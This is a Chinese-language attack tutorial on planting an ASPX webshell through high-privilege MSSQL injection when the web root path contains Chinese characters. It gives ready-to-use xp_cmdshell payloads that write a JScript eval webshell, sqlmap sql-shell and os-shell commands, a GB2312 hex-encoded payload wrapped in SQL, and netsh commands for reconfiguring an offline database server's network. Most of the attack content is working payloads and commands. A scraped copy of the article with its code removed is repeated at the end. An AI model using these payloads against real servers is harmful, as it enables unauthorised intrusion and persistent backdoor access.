MSSQL高权限注入写马至中文路径
字数 986 2025-08-09 23:12:49

MSSQL高权限注入写马至中文路径技术详解

0x01 技术背景

MSSQL高权限注入攻击中,当目标服务器存在中文路径时,常规的写马方法往往会因为编码问题导致失败。本文详细分析该问题的成因,并提供多种解决方案。

0x02 常见问题场景

  1. 站库分离环境:数据库服务器为断网机,无法直接联网
  2. 中文路径问题:网站绝对路径包含中文字符导致写马失败
  3. 命令执行限制:xp_cmdshell执行包含中文的命令时出现乱码

0x03 编码问题分析

关键编码差异

  1. 浏览器编码:默认UTF-8
  2. 网页编码:通常为UTF-8
  3. 数据库编码:MSSQL通常使用本地编码(如GB2312/GBK)
  4. 命令终端编码:cmd.exe默认代码页936(简体中文GBK)

乱码产生原因

当数据流经不同编码环境的组件时,中文字符的编码转换不当会导致乱码,最终导致命令执行失败或文件写入失败。

0x04 解决方案

方法一:通过浏览器手工写马

  1. 在注入点后执行以下SQL语句:
;exec master..xp_cmdshell 'echo ^<%@ Page Language="Jscript"%^>^<%%eval(Request.Item["xxxasec"],"unsafe");%^> > C:\inetpub\wwwroot\中文测试\shell.aspx'--
  1. 关键点:
    • 尖括号<>前必须使用^转义
    • 浏览器会自动将中文路径进行URL(UTF-8)编码
    • 确保浏览器编码设置为UTF-8

方法二:使用sqlmap的sql-shell写马

  1. 命令示例:
sqlmap -u "http://192.168.1.109/sql.aspx?id=1" --sql-shell --batch --proxy http://127.0.0.1:8080
  1. 在sql-shell中执行:
exec master..xp_cmdshell 'echo ^<%@ Page Language="Jscript"%^>^<%%eval(Request.Item["xxxasec"],"unsafe");%^> > C:\inetpub\wwwroot\中文测试\shell1.aspx'
  1. 原理:
    • sqlmap会将中文路径进行URL(UTF-8)编码
    • 编码方式与浏览器类似

方法三:sqlmap os-shell手动编码转换

  1. 常规命令失败原因:

    • os-shell通过xp_cmdshell调用cmd.exe执行命令
    • cmd.exe使用GBK编码,而sqlmap默认使用UTF-8提交
  2. 解决方案步骤:

    • 将写马命令进行HEX(GB2312)编码
    • 示例原始命令:
      echo ^<%@ Page Language="Jscript"%^>^<%%eval(Request.Item["xxxasec"],"unsafe");%^> > C:\inetpub\wwwroot\中文测试\shell2.aspx
      
    • 转换为GB2312 HEX编码:
      6563686F205E3C25402050616765204C616E67756167653D224A73637269707422255E3E5E3C25256576616C28526571756573742E4974656D5B2278787861736563225D2C22756E7361666522293B255E3E203E20433A5C696E65747075625C777777726F6F745CD6D0CEC4B2E2CAD45C7368656C6C322E61737078
      
    • 构造SQL语句:
      DECLARE @clit VARCHAR(8000);
      SET @clit=0x[上面生成的HEX编码];
      INSERT INTO sqlmapoutput(data) EXEC master..xp_cmdshell @clit
      

0x05 其他实用技巧

  1. 断网环境处理

    • 检查网关设置:netsh int ip show address
    • 设置静态IP和网关:
      netsh int ip set address "本地连接" static 192.168.1.103 255.255.255.0 192.168.1.1
      
    • 防火墙检查:
      netsh advfirewall show allprofile
      
  2. 端口扫描

    nmap -sV -Pn 目标IP
    

0x06 总结

  1. 中文路径问题的核心是编码不一致,需确保各环节编码匹配
  2. 浏览器和sqlmap默认使用UTF-8编码
  3. cmd.exe使用GBK编码,需要相应转换
  4. 三种主要解决方案各有适用场景,可根据实际情况选择

0x07 参考资源

  1. SQLmap写shell遇到中文路径解决办法集合
  2. UTF-8与GB2312编码差异
  3. CMD编码设置
MSSQL高权限注入写马至中文路径技术详解 0x01 技术背景 MSSQL高权限注入攻击中,当目标服务器存在中文路径时,常规的写马方法往往会因为编码问题导致失败。本文详细分析该问题的成因,并提供多种解决方案。 0x02 常见问题场景 站库分离环境 :数据库服务器为断网机,无法直接联网 中文路径问题 :网站绝对路径包含中文字符导致写马失败 命令执行限制 :xp_ cmdshell执行包含中文的命令时出现乱码 0x03 编码问题分析 关键编码差异 浏览器编码 :默认UTF-8 网页编码 :通常为UTF-8 数据库编码 :MSSQL通常使用本地编码(如GB2312/GBK) 命令终端编码 :cmd.exe默认代码页936(简体中文GBK) 乱码产生原因 当数据流经不同编码环境的组件时,中文字符的编码转换不当会导致乱码,最终导致命令执行失败或文件写入失败。 0x04 解决方案 方法一:通过浏览器手工写马 在注入点后执行以下SQL语句: 关键点: 尖括号 <> 前必须使用 ^ 转义 浏览器会自动将中文路径进行URL(UTF-8)编码 确保浏览器编码设置为UTF-8 方法二:使用sqlmap的sql-shell写马 命令示例: 在sql-shell中执行: 原理: sqlmap会将中文路径进行URL(UTF-8)编码 编码方式与浏览器类似 方法三:sqlmap os-shell手动编码转换 常规命令失败原因: os-shell通过xp_ cmdshell调用cmd.exe执行命令 cmd.exe使用GBK编码,而sqlmap默认使用UTF-8提交 解决方案步骤: 将写马命令进行HEX(GB2312)编码 示例原始命令: 转换为GB2312 HEX编码: 构造SQL语句: 0x05 其他实用技巧 断网环境处理 : 检查网关设置: netsh int ip show address 设置静态IP和网关: 防火墙检查: 端口扫描 : 0x06 总结 中文路径问题的核心是编码不一致,需确保各环节编码匹配 浏览器和sqlmap默认使用UTF-8编码 cmd.exe使用GBK编码,需要相应转换 三种主要解决方案各有适用场景,可根据实际情况选择 0x07 参考资源 SQLmap写shell遇到中文路径解决办法集合 UTF-8与GB2312编码差异 CMD编码设置